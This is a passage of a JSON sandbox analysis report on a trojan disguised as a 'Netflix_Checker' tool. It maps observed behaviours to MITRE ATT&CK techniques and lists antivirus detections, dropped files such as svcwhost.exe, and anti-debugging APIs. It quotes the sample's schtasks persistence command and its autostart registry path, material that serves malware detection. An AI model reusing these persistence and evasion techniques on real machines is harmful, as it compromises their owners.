Discovery"},{"attack_id":"T1132","attack_id_wiki":"https://attack.mitre.org/techniques/T1132","identifiers":[{"type":"informative","value":"HTTP requests contain Base64 strings"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Data Encoding"},{"attack_id":"T1571","attack_id_wiki":"https://attack.mitre.org/techniques/T1571","identifiers":[{"type":"malicious","value":"Uses network protocols on unusual ports"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Non-Standard Port"},{"attack_id":"T1074.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1074/001","identifiers":[{"type":"suspicious","value":"Tries to access/write temporary files"},{"type":"informative","value":"Contains ability to create directories (API string)"},{"type":"informative","value":"Calls an API typically used to create a directory"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Collection","technique":"Local Data Staging"},{"attack_id":"T1041","attack_id_wiki":"https://attack.mitre.org/techniques/T1041","identifiers":[{"type":"suspicious","value":"POSTs data to a webserver"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Exfiltration","technique":"Exfiltration Over C2 Channel"},{"attack_id":"T1573","attack_id_wiki":"https://attack.mitre.org/techniques/T1573","identifiers":[{"type":"informative","value":"Possibly tries to communicate over SSL connection (HTTPS)"},{"type":"informative","value":"Uses HTTPS for communication"},{"type":"informative","value":"Making HTTPS connections using secure TLS/SSL version"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Encrypted Channel"},{"attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Execution","technique":"Component Object Model"},{"attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"},{"type":"informative","value":"Contains ability to query machine time"},{"type":"informative","value":"Able to retrieve date formats supported by the local system (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Time Discovery"},{"attack_id":"T1134.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1134/001","identifiers":[{"type":"informative","value":"Contains ability to impersonate access tokens (API string)"},{"type":"informative","value":"Contains ability to obtains specified information about the security of a file or directory (API string)"},{"type":"informative","value":"Imports system security related APIs"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Privilege Escalation","technique":"Token Impersonation/Theft"},{"attack_id":"T1486","attack_id_wiki":"https://attack.mitre.org/techniques/T1486","identifiers":[{"type":"informative","value":"Contains ability to perform encryption (API string)"},{"type":"informative","value":"Contains reference to cryptographic keys"},{"type":"informative","value":"Contains reference to crypto DLLs"},{"type":"informative","value":"Able to access crypto-related API (String)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Impact","technique":"Data Encrypted for Impact"},{"attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification"},{"attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)"},{"type":"informative","value":"Contains ability to register a top-level exception handler (API string)"},{"type":"informative","value":"Contains ability to check debugger is running (API string)"},{"type":"suspicious","value":"Tries to detect debugger using ProcessDebugPort"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Debugger Evasion"},{"attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"},{"type":"informative","value":"Contains XOR operation loops [Stream disassembly]"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Indicator Removal from Tools"},{"attack_id":"T1071.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1071/001","identifiers":[{"type":"informative","value":"Contains reference to Windows internet services (API string)"},{"type":"informative","value":"Sends GET/POST requests (HTTPS)"},{"type":"informative","value":"Contains ability to communicate with network (Dotnet)"},{"type":"malicious","value":"Found more than one unique user-agent"},{"type":"suspicious","value":"Sends traffic on typical HTTP outbound port, but without HTTP header"},{"type":"informative","value":"Contains ability to provide interface for network protocols (Dotnet)"},{"type":"malicious","value":"Found unknown user-agent(s)"},{"type":"informative","value":"Communicates with HTTP webserver (GET/POST requests)"},{"type":"informative","value":"GETs files from a webserver"},{"type":"informative","value":"GETs files from a webserver (HTTPS)"},{"type":"suspicious","value":"Uses a browser-related user-agent without launching browser"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Protocols"},{"attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"suspicious","value":"Calls an API typically used to acquire handle to a key container within a CSP"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Contains reference to licensed c/c++ library"},{"type":"suspicious","value":"CRC value set in PE header does not match actual value"},{"type":"informative","value":"Found XOR operators (encryption/decryption)"},{"type":"informative","value":"Contains ability to load content from resource"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Obfuscated Files or Information"},{"attack_id":"T1102","attack_id_wiki":"https://attack.mitre.org/techniques/T1102","identifiers":[{"type":"informative","value":"Found domain strings related to cloud services(possible C&C communication)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Command and Control","technique":"Web Service"},{"attack_id":"T1213","attack_id_wiki":"https://attack.mitre.org/techniques/T1213","identifiers":[{"type":"informative","value":"Able to perform SQL operations"}],"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Collection","technique":"Data from Information Repositories"},{"attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Contains ability to dynamically determine API calls"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Dynamic API Resolution"},{"attack_id":"T1036.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1036/008","sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Masquerade File Type"},{"attack_id":"T1564.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1564/003","identifiers":[{"type":"informative","value":"Contains ability to pass information to a window procedure (API string)"},{"type":"informative","value":"Able to execute applications in hidden mode (.NET)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Hidden Window"},{"attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Contains ability to retrieve information about the current system (API string)"},{"type":"suspicious","value":"Contains ability to query CPU information"},{"type":"informative","value":"Reads the active computer name"},{"type":"suspicious","value":"Found system commands related strings"},{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"suspicious","value":"Contains ability to retrieve a module handle"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve volume information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Discovery","technique":"System Information Discovery"},{"attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Found registry location strings which can modify auto-execute functionality"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Persistence","technique":"Boot or Logon Autostart Execution"},{"attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"suspicious","value":"Has the capability to lower Firefox security settings"},{"type":"suspicious","value":"Writes registry keys"},{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"}],"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}],"tactic":"Defense Evasion","technique":"Modify Registry"}],"rule_matches":{},"sandbox_signatures":[{"category":"General","description":"\"ee5db.Trojan.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"ee5db.Trojan.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"ee5db.Trojan.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"svcwhost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"svcwhost.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"Netflix_Checker.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","id":"registry-25","level":"informative","mitre_attack_id":"T1082","name":"Reads information about supported languages","origin":"Registry Access","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Observed namespace \"Microsoft.VisualBasic.CompilerServices\" and MemberReference \"LateCall\" in \"Netflix_Checker.exe\"","id":"static-135","level":"informative","mitre_attack_id":"T1027.002","name":"Dotnet file contains function to dynamically call methods at runtime","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; File: \"ee5db. Trojan.exe\")","id":"string-306","level":"informative","mitre_attack_id":"T1134.001","name":"Contains ability to impersonate access tokens (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$22","id":"target-13","level":"malicious","mitre_attack_id":"T1053.005","name":"Schedules a task to be executed at a specific time and date","origin":"Monitored Target","relevance":8,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"ee5db. Trojan.exe\")","id":"string-162","level":"informative","mitre_attack_id":"T1082","name":"Contains ability to retrieve volume information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Observed function \"Process.Start\" in \"Netflix_Checker.exe\"","id":"static-111","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to start a process (Dotnet)","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; File: \"ee5db. Trojan.exe\")","id":"string-249","level":"informative","mitre_attack_id":"T1070.006","name":"Contains ability to retrieve file time (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"$23","id":"string-201","level":"informative","mitre_attack_id":"T1614","name":"Able to query system locale information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Detection/Stealthyness","description":"Found reference to API \"NtCreateThreadEx\" (Indicator: \"NtCreateThread\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"CreateRemoteThread\" (Indicator: \"CreateRemoteThread\"; File: \"ee5db. Trojan.exe\")","id":"string-79","level":"informative","mitre_attack_id":"T1055.001","name":"Contains ability to create a remote thread (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: svcwhost.exe]","id":"static-191","level":"informative","mitre_attack_id":"T1489","name":"Calls an API used to open a process handle","origin":"Static Parser","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$24","id":"string-85","level":"informative","mitre_attack_id":"T1057","name":"Contains ability to enumerate process and/or its information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Destruction","description":"\"svcwhost.exe\" opened \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\TH7A53.tmp\" with delete access","id":"api-25","level":"suspicious","mitre_attack_id":"T1070.004","name":"Opens file with deletion access rights","origin":"API Call","relevance":7,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"$25","id":"string-57","level":"informative","mitre_attack_id":"T1027","name":"Contains CRYPTO related strings","origin":"File/Memory","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"$26","id":"registry-173","level":"informative","mitre_attack_id":"T1007","name":"Queries services related registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"\"ee5db.Trojan.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\svcwhost.exe\"\n \"ee5db.Trojan.exe\" writes file \"c:\\netflix_checker.exe\"\n \"ee5db.Trojan.exe\" writes file \"%appdata%\\svcwhost.exe\"\n \"svcwhost.exe\" writes file \"c:\\users\\%osuser%\\appdata\\roaming\\{3e3ce09031442691943543}\\{3e3ce09031442691943543}.exe\"\n \"svcwhost.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\temp\\th7a53.tmp\"","id":"api-242","level":"informative","name":"Writes files","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"Found string \"Software\\Microsoft\\Windows\\CurrentVersion\\Run\" (Indicator: \"software\\microsoft\\windows\\currentversion\\run\"; in Source: \"sample.bin\")","id":"string-184","level":"suspicious","mitre_attack_id":"T1547","name":"Found registry location strings which can modify auto-execute functionality","origin":"sample.bin","sources":[{"report_id":"","report_type":"qsp"}]},{"category":"General","description":"$27","id":"memorydump-10","level":"informative","mitre_attack_id":"T1012","name":"Found registry location strings in memory","origin":"Memory Dumps","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"External Systems","description":"18/24 Antivirus vendors marked sample as malicious (75% detection rate)","id":"avtest-0","level":"suspicious","name":"Sample was identified as malicious by at least one Antivirus engine","origin":"External System","sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Installation/Persistence","description":"$28","id":"registry-172","level":"informative","mitre_attack_id":"T1012","name":"Queries registry keys","origin":"Registry Access","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"OutputDebugStringW\" (Indicator: \"OutputDebugString\"; File: \"ee5db. Trojan.exe\")","id":"string-183","level":"informative","mitre_attack_id":"T1622","name":"Contains ability to check debugger is running (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"Found reference to API \"GetActiveWindow\" (Indicator: \"GetActiveWindow\"; File: \"ee5db. Trojan.exe\")","id":"string-141","level":"informative","mitre_attack_id":"T1010","name":"Contains ability to retrieve open application windows (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"External Systems","description":"CrowdStrike Static Analysis and ML (QuickScan) yielded detection: win/malicious_confidence_100% (W)","id":"avtest-8","level":"malicious","name":"Sample detected by CrowdStrike Static Analysis and ML with relatively high confidence","origin":"External System","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found the following user-agents: Mozilla/5.0\n NIKMOK\n Diamotrix","id":"network-15","level":"malicious","mitre_attack_id":"T1071.001","name":"Found more than one unique user-agent","origin":"Network Traffic","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found registry query API: \"RegOpenKeyExA\" in file \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\"\n Found registry query API: \"RegOpenKeyExW\" in file \"ee5db783f4fcaa53ca4babb8ddb6c143bf34307af0e1f7be9912494c5d071aae\"","id":"string-229","level":"informative","mitre_attack_id":"T1012","name":"Able to query registry keys (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"$29","id":"api-175","level":"informative","mitre_attack_id":"T1129","name":"Calls an API typically used to load libraries","origin":"API Call","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Network Related","description":"Found reference to API \"InternetReadFile\" (Indicator: \"InternetReadFile\"; File: \"ee5db. Trojan.exe\")","id":"string-241","level":"informative","mitre_attack_id":"T1105","name":"Contains ability to download a file from a URL (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"\"ee5db. Trojan.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"Netflix_Checker.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"","id":"static-18","level":"informative","mitre_attack_id":"T1027.002","name":"Matched Compiler/Packer signature","origin":"Static Parser","relevance":10,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"System Security","description":"Found reference to API \"SeDebugPrivilege\" (Indicator: \"SeDebugPrivilege\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"LookupPrivilegeValueA\" (Indicator: \"LookupPrivilegeValue\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; File: \"ee5db. Trojan.exe\")","id":"string-77","level":"informative","mitre_attack_id":"T1134","name":"Contains ability to modify access token privileges (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"ee5db. Trojan.exe\")","id":"string-206","level":"informative","mitre_attack_id":"T1059.003","name":"Contains ability to retrieve the command-line string for the current process (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetFileSizeEx\" (Indicator: \"GetFileSize\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"NtQueryInformationFile\" (Indicator: \"QueryInformationFile\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"PathFindFileNameW\" (Indicator: \"PathFindFileName\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetTempFileNameW\" (Indicator: \"GetTempFileName\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetSystemDirectoryW\" (Indicator: \"GetSystemDirectory\"; File: \"ee5db. Trojan.exe\")\n Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; File: \"ee5db. Trojan.exe\")","id":"string-207","level":"informative","mitre_attack_id":"T1083","name":"Contains ability to retrieve file and directory information (API string)","origin":"File/Memory","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"","report_type":"qsp"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"General","description":"\"ee5db.Trojan.exe\" called \"CreateProcessW\" with parameter \"%APPDATA%\\svcwhost.exe\" - (UID: 00000000-00004344)\n \"ee5db.Trojan.exe\" called \"CreateProcessW\" with parameter \"Netflix_Checker.exe\" - (UID: 00000000-00004344)\n \"svcwhost.exe\" called \"CreateProcessW\" with parameter \"schtasks /create /tn \"SystemServicesTools\" /tr \"%APPDATA%\\{3E3CE09031442691943543}\\{3E3CE09031442691943543}\" - (UID: 00000000-00005968)","id":"api-128","level":"informative","mitre_attack_id":"T1106","name":"Calls an API typically used to create a process","origin":"API Call","relevance":5,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Observed import api \"GetCommandLineA\" which can \"Retrieves the command-line string for the current process\" [Source: ee5db. Trojan.exe]","id":"static-88","level":"informative","mitre_attack_id":"T1106","name":"Imports GetCommandLine API","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Anti-Reverse Engineering","description":"\"ee5db. Trojan.exe\" has section name .text with entropy \"6.61999584052\"\n \"ee5db. Trojan.exe\" has section name .reloc with entropy \"6.46482180791\"\n \"svcwhost.exe\" has section name .text with entropy \"6.4145061715\"\n \"Service_Macromedia.exe.bin\" has section name .text with entropy \"6.4145061715\"","id":"static-6","level":"suspicious","mitre_attack_id":"T1027.009","name":"section contains high entropy","origin":"Static Parser","relevance":1,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"}]},{"category":"Cryptographic Related","description":"$2a","id":"stream-139","level":"informative","mitre_attack_id":"T1027.005","name":"Contains XOR operation loops [Stream disassembly]","origin":"Hybrid Analysis Technology","sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Environment Awareness","description":"GetStartupInfoW@KERNEL32.dll at 48249-4338-0040F9D3\n GetStartupInfoW@KERNEL32.DLL at 00000000-00005736-49315-566-009453DB\n GetStartupInfoW@KERNEL32.DLL at 00000000-00005736-49315-693-0094F9D3","id":"stream-133","level":"suspicious","mitre_attack_id":"T1543","name":"Contains ability to retrieve the contents of the STARTUPINFO structure","origin":"Hybrid Analysis Technology","relevance":5,"sources":[{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"\"ee5db.Trojan.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"svcwhost.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"Netflix_Checker.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","id":"api-103","level":"informative","mitre_attack_id":"T1057","name":"Calls an API typically used for taking snapshot of the specified processes","origin":"API Call","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Unusual Characteristics","description":"Dropped file: \"svcwhost.exe\" - Location: [%APPDATA%\\svcwhost.exe]- [targetUID: 00000000-00005968]","id":"binary-37","level":"informative","mitre_attack_id":"T1036","name":"Drops files inside appdata directory","origin":"Binary File","relevance":3,"sources":[{"report_id":"66aafc80392e7e46360c1106","report_type":"sandbox"},{"report_id":"6aa87e9cb2fc8df262071a7a","report_type":"sandbox"}]},{"category":"Spyware/Information Retrieval","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"ee5db. Trojan.exe\")","id":"string-317","level":"informative","mitre_attack_id":"T1106","name":"Contains ability to retrieve address of exported function from a DLL (API 